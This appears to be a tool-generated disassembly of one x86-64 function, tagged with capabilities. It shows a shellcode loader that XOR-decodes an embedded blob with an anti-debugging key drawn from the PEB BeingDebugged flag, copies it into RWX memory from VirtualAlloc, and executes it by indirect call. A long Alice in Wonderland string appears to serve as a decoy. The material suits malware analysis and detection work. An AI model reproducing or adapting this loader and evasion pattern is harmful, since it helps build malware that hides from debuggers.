Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x559c8
call fcn.00404360
sub rsp, rax
movaps xmmword [rsp + 0x559b0], xmm6
lea rdx, [0x00421038]
lea r12, [rsp + 0xf8]
mov r8d, 0x170
mov rcx, r12
call fcn.0041ca80
mov esi, 1
lea r13, [rsp + 0x30]
lea r15, [rsp + 0xb8]
movabs rbp, 0x21646c726f5720
lea r14, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
xorps xmm6, xmm6
jmp 0x40108b
add rsi, 1
lea r15, [rsp + 0xb8]
lea r13, [rsp + 0x30]
movabs rbp, 0x21646c726f5720
mov qword [rsp + 0x30], 0
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0x38], r15
lea rax, [0x004029c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x55], rbp
movabs rax, 0x6f57206f6c6c6548
mov qword [rsp + 0x50], rax
mov edx, 0xc
lea rcx, [rsp + 0x50]
lea r8, [0x00476c40]
lea r9, [rsp + 0x38]
call fcn.00403580
test ax, ax
jne 0x401187
mov r8d, 0x41
mov rdx, rsi
cmp rsi, 0x64
movabs r10, 0x28f5c28f5c28f5c3
jb 0x401143
mov rcx, rsi
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rax, rcx
shr rax, 2
mul r10
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r14 + r9*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x401110
cmp rdx, 9
ja 0x401157
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x401166
movzx eax, word [r14 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x00476c40]
lea r9, [rsp + 0x38]
call fcn.00403580
mov rbx, qword [rsp + 0x55a08]
xor eax, eax
test al, al
jne 0x401605
mov rdi, qword [rsp + 0x30]
test rdi, rdi
je 0x4011c0
mov rcx, r12
mov rdx, rdi
xor r8d, r8d
mov r9, rbx
call fcn.00401d70
test rax, rax
jne 0x4011c7
jmp 0x401605
mov rax, 0xffffffffffffffff
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0xb8], r13
lea rax, [0x004029e0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x55], rbp
movabs rax, 0x6f57206f6c6c6548
mov qword [rsp + 0x50], rax
mov edx, 0xc
lea rcx, [rsp + 0x50]
lea r8, [0x00476c40]
mov r9, r15
call fcn.00403580
mov r8d, 0x41
mov rdx, rsi
cmp rsi, 0x64
movabs r10, 0x28f5c28f5c28f5c3
jb 0x401283
mov rcx, rsi
nop word cs:[rax + rax]
nop
mov rax, rcx
shr rax, 2
mul r10
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r14 + r9*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x401250
cmp rdx, 9
ja 0x4012a0
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x4012af
movzx eax, word [r14 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea r14, [rsp + 0x68]
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x00476c40]
mov r9, r15
call fcn.00403580
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x48]
movups xmm0, xmmword [0x00476ab0]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [0x00476aa0]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x00476a90]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [0x00476a80]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x00476a70]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x00476a60]
movaps xmmword [rsp + 0x50], xmm0
cmp rbp, 0x40
jae 0x401340
xor ecx, ecx
xor eax, eax
lea r15, [rsp + 0x50]
jmp 0x401374
xor eax, eax
lea r15, [rsp + 0x50]
nop word [rax + rax]
mov rdi, rax
lea rdx, [rax + r13]
mov rcx, r15
call fcn.00402a70
lea rax, [rdi + 0x40]
sub rdi, 0xffffffffffffff80
cmp rdi, rbp
jbe 0x401350
movzx ecx, byte [rsp + 0xa8]
lea rdx, [rax + r13]
mov rdi, rbp
sub rdi, rax
add rcx, r14
mov r8, rdi
call fcn.0041ca80
movzx eax, byte [rsp + 0xa8]
movzx edx, dil
add rdx, rax
mov byte [rsp + 0xa8], dl
add qword [rsp + 0x50], rbp
lea rcx, [r14 + rdx]
mov r8d, 0x40
sub r8, rdx
xor edx, edx
call fcn.0041cde0
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + rax + 0x68], 0x80
movzx eax, byte [rsp + 0xa8]
lea ecx, [rax + 1]
mov byte [rsp + 0xa8], cl
cmp al, 0x38
jb 0x4013fc
mov rcx, r15
mov rdx, r14
call fcn.00402a70
movups xmmword [r14 + 0x20], xmm6
movups xmmword [r14 + 0x10], xmm6
movups xmmword [r14], xmm6
mov qword [r14 + 0x30], 0
mov rax, qword [rsp + 0x50]
mov ecx, eax
shr ecx, 5
lea edx, [rax*8]
mov byte [rsp + 0xa0], dl
mov byte [rsp + 0xa1], cl
mov ecx, eax
shr ecx, 0xd
mov byte [rsp + 0xa2], cl
mov ecx, eax
shr ecx, 0x15
mov byte [rsp + 0xa3], cl
mov rcx, rax
shr rcx, 0x1d
mov byte [rsp + 0xa4], cl
mov rcx, rax
shr rcx, 0x25
mov byte [rsp + 0xa5], cl
mov rcx, rax
shr rcx, 0x2d
mov byte [rsp + 0xa6], cl
shr rax, 0x35
mov byte [rsp + 0xa7], al
mov rcx, r15
mov rdx, r14
call fcn.00402a70
movups xmm0, xmmword [r14 - 0x10]
movaps xmmword [rsp + 0xe0], xmm0
xor eax, eax
test al, al
jne 0x4015c7
mov edx, 0x20
mov rcx, r12
xor r8d, r8d
mov r9, rbx
call fcn.00401d70
test rax, rax
je 0x4015c7
mov rdi, rax
mov qword [rsp + 0xc8], rsi
mov rsi, rbx
xor ebx, ebx
xor r14d, r14d
movzx eax, byte [rsp + r14 + 0xe0]
mov ecx, eax
shr ecx, 4
lea rdx, str.0123456789abcdef
movzx ecx, byte [rcx + rdx]
mov byte [rsp + 0x50], cl
and eax, 0xf
movzx eax, byte [rax + rdx]
mov byte [rsp + 0x51], al
xor r12d, r12d
nop word cs:[rax + rax]
nop
cmp rbx, 0x1f
ja 0x401540
mov eax, 2
sub rax, r12
lea rdx, [rsp + r12]
add rdx, 0x50
mov r15d, 0x20
sub r15, rbx
cmp r15, rax
cmovae r15, rax
lea rcx, [rdi + rbx]
mov r8, r15
call fcn.0041ca80
add rbx, r15
add r12, r15
cmp r12, 2
jne 0x4014f0
add r14, 1
cmp r14, 0x10
jne 0x4014b9
jmp 0x401540
lea rax, str.00000
cmp rdi, rax
mov r15, rsi
lea r14, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
je 0x4017be
cmp dword [rdi], 0x30303030
jne 0x40156f
cmp dword [rdi + 1], 0x30303030
je 0x4017be
mov qword [rsp + 0x20], r15
lea r12, [rsp + 0xf8]
mov rcx, r12
mov rdx, rdi
mov r8, rbx
xor r9d, r9d
call fcn.00402380
test rbp, rbp
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r13, rax
mov rsi, qword [rsp + 0xc8]
je 0x401070
mov qword [rsp + 0x20], r15
mov rcx, r12
mov rdx, r13
mov r8, rbp
xor r9d, r9d
call fcn.00402380
jmp 0x401070
test rbp, rbp
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r13, rax
jne 0x4016bf
mov rdx, qword [rsp + 0x228]
test rdx, rdx
jne 0x4016eb
mov rdx, qword [rsp + 0x248]
test rdx, rdx
jne 0x401760
jmp 0x40178a
mov rdx, qword [rsp + 0x228]
test rdx, rdx
je 0x401674
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x40165d
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x20], rbx
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x228], 0
mov dword [rsp + 0x234], 0
mov rdx, qword [rsp + 0x248]
test rdx, rdx
je 0x40178a
nop word cs:[rax + rax]
nop
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x238]
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x20], rbx
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401690
jmp 0x40178a
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0xf8]
mov rdx, r13
mov r8, rbp
xor r9d, r9d
call fcn.00402380
mov rdx, qword [rsp + 0x228]
test rdx, rdx
je 0x4015ef
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401736
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x20], rbx
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x228], 0
mov dword [rsp + 0x234], 0
mov rdx, qword [rsp + 0x248]
test rdx, rdx
je 0x40178a
nop word [rax + rax]
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x238]
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x20], rbx
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401760
lea rax, str.OutOfMemory
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0xb
lea rcx, [rsp + 0xd0]
call fcn.00401b10
mov esi, 1
mov ecx, esi
call sub.ntdll.dll_RtlExitUserProcess
lea rcx, [0x0047a010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x38], rax
lea r12, [0x004026a0]
mov qword [rsp + 0x40], r12
mov r8d, 0x41
mov r9, qword [rsp + 0xc8]
cmp r9, 0x64
jb 0x401855
movabs r10, 0x28f5c28f5c28f5c3
nop
mov rax, r9
shr rax, 2
mul r10
shr rdx, 2
imul rax, rdx, 0x64
mov rcx, r9
sub rcx, rax
movzx eax, word [r14 + rcx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp r9, 0x270f
mov r9, rdx
ja 0x401820
jmp 0x401858
mov rdx, r9
cmp rdx, 9
ja 0x40186c
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x40187b
movzx eax, word [r14 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x00476c40]
lea r14, [rsp + 0x38]
mov r9, r14
call fcn.00403580
lea rcx, [0x0047a010]
call fcn.00420010
test rbx, rbx
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdi, rax
jne 0x401a36
test rbp, rbp
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r13, rax
jne 0x401a68
mov rdx, qword [rsp + 0x228]
test rdx, rdx
jne 0x401a94
mov rdx, qword [rsp + 0x248]
test rdx, rdx
je 0x40192a
nop word [rax + rax]
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x238]
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x20], r15
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401900
xor esi, esi
lea rcx, [rsp + 0x2455a]
mov r8d, 0x31446
xor edx, edx
call fcn.0041cde0
lea rax, [0x0044560d]
xor ecx, ecx
nop word [rax + rax]
movzx edx, byte [rcx + rax]
xor dl, sil
mov r8, qword gs:[0x30]
mov r8, qword [r8 + 0x60]
movzx r8d, byte [r8 + 2]
add r8b, 0x42
xor r8b, dl
mov byte [rsp + rcx + 0x2455a], r8b
add rcx, 1
add sil, 0x53
cmp rcx, 0x31446
jne 0x401950
xor esi, esi
mov edx, 0x31446
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov rdi, rax
lea rdx, [rsp + 0x2455a]
mov r8d, 0x31446
mov rcx, rax
call fcn.0041ca80
call rdi
lea rdi, [0x0047a010]
mov rcx, rdi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r12
lea rdx, str.Alices_Adventures_in_Wonderland_n_n________________ALICES_ADVENTURES_IN_WONDERLAND_n_n__________________________Lewis_Carroll_n_n_______________THE_MILLENNIUM_FULCRUM_EDITION_3.0_n_n_n_n_n____________________________CHAPTER_I_n_n______________________Down_the_Rabbit_Hole_n_n_n__Alice_was_beginning_to_get_very_tired_of_sitting_by_her_sister_non_the_bank__and_of_having_nothing_to_do:__once_or_twice_she_had_npeeped_into_the_book_her_sister_was_reading__but_it_had_no_npictures_or_conversations_in_it___and_what_is_the_use_of_a_book__nthought_Alice__without_pictures_or_conversation__n_n__So_she_was_considering_in_her_own_mind__as_well_as_she_could__nfor_the_hot_day_made_her_feel_very_sleepy_and_stupid___whether_nthe_pleasure_of_making_a_daisy_chain_would_be_worth_the_trouble_nof_getting_up_and_picking_the_daisies__when_suddenly_a_White_nRabbit_with_pink_eyes_ran_close_by_her._n_n__There_was_nothing_so_VERY_remarkable_in_that__nor_did_Alice_nthink_it_so_VERY_much_out_of_the_way_to_hear_the_Rabbit_say_to_nitself___Oh_dear___Oh_dear___I_shall_be_late____when_she_thought_nit_over_afterwards__it_occurred_to_her_that_she_ought_to_have_nwondered_at_this__but_at_the_time_it_all_seemed_quite_natural___nbut_when_the_Rabbit_actually_TOOK_A_WATCH_OUT_OF_ITS_WAISTCOAT__nPOCKET__and_looked_at_it__and_then_hurried_on__Alice_started_to_nher_feet__for_it_flashed_across_her_mind_that_she_had_never_nbefore_seen_a_rabbit_with_either_a_waistcoat_pocket__or_a_watch_to_ntake_out_of_it__and_burning_with_curiosity__she_ran_across_the_nfield_after_it__and_fortunately_was_just_in_time_to_see_it_pop_ndown_a_large_rabbit_hole_under_the_hedge._n_n__In_another_moment_down_went_Alice_after_it__never_once_nconsidering_how_in_the_world_she_was_to_get_out_again._n_n__The_rabbit_hole_went_straight_on_like_a_tunnel_for_some_way__nand_then_dipped_suddenly_down__so_suddenly_that_Alice_had_not_a_nmoment_to_think_about_stopping_herself_before_she_found_herself_nfalling_down_a_very_deep_well._n_n__Either_the_well_was_very_deep__or_she_fell_very_slowly__for_she_nhad_plenty_of_time_as_she_went_down_to_look_about_her_and_to_nwonder_what_was_going_to_happen_next.__First__she_tried_to_look_ndown_and_make_out_what_she_was_coming_to__but_it_was_too_dark_to_nsee_anything__then_she_looked_at_the_sides_of_the_well__and_nnoticed_that_they_were_filled_with_cupboards_and_book_shelves__nhere_and_there_she_saw_maps_and_pictures_hung_upon_pegs.__She_ntook_down_a_jar_from_one_of_the_shelves_as_she_passed__it_was_nlabelled__ORANGE_MARMALADE__but_to_her_great_disappointment_it_nwas_empty:__she_did_not_like_to_drop_the_jar_for_fear_of_killing_nsomebody__so_managed_to_put_it_into_one_of_the_cupboards_as_she_nfell_past_it._n_n___Well__thought_Alice_to_herself___after_such_a_fall_as_this__I_nshall_think_nothing_of_tumbling_down_stairs___How_brave_theyll_nall_think_me_at_home___Why__I_wouldnt_say_anything_about_it__neven_if_I_fell_off_the_top_of_the_house___Which_was_very_likely_ntrue.__n_n__Down__down__down.__Would_the_fall_NEVER_come_to_an_end____I_nwonder_how_many_miles_Ive_fallen_by_this_time__she_said_aloud._n_I_must_be_getting_somewhere_near_the_centre_of_the_earth.__Let_nme_see:__that_would_be_four_thousand_miles_down__I_think____for__nyou_see__Alice_had_learnt_several_things_of_this_sort_in_her_nlessons_in_the_schoolroom__and_though_this_was_not_a_VERY_good_nopportunity_for_showing_off_her_knowledge__as_there_was_no_one_to_nlisten_to_her__still_it_was_good_practice_to_say_it_over_____yes__nthats_about_the_right_distance__but_then_I_wonder_what_Latitude_nor_Longitude_Ive_got_to____Alice_had_no_idea_what_Latitude_was__nor_Longitude_either__but_thought_they_were_nice_grand_words_to_nsay.__n_n__Presently_she_began_again.___I_wonder_if_I_shall_fall_right_nTHROUGH_the_earth___How_funny_itll_seem_to_come_out_among_the_npeople_that_walk_with_their_heads_downward___The_Antipathies__I_nthink____she_was_rather_glad_there_WAS_no_one_listening__this_ntime__as_it_didnt_sound_at_all_the_right_word_____but_I_shall_nhave_to_ask_them_what_the_name_of_the_country_is__you_know._nPleas
lea rbx, [rsp + 0xf8]
mov r8d, 0x2445f
mov rcx, rbx
call fcn.0041ca80
lea r8, [0x00476c40]
lea r9, [rsp + 0x50]
mov edx, 0x2445e
mov rcx, rbx
call fcn.00403580
mov rcx, rdi
call fcn.00420010
mov ecx, esi
call sub.ntdll.dll_RtlExitUserProcess
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0xf8]
mov rdx, rdi
mov r8, rbx
xor r9d, r9d
call fcn.00402380
test rbp, rbp
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r13, rax
je 0x4018d9
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0xf8]
mov rdx, r13
mov r8, rbp
xor r9d, r9d
call fcn.00402380
mov rdx, qword [rsp + 0x228]
test rdx, rdx
je 0x4018ea
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401adf
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x20], r15
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x228], 0
mov dword [rsp + 0x234], 0
mov rdx, qword [rsp + 0x248]
test rdx, rdx
jne 0x401900
jmp 0x40192a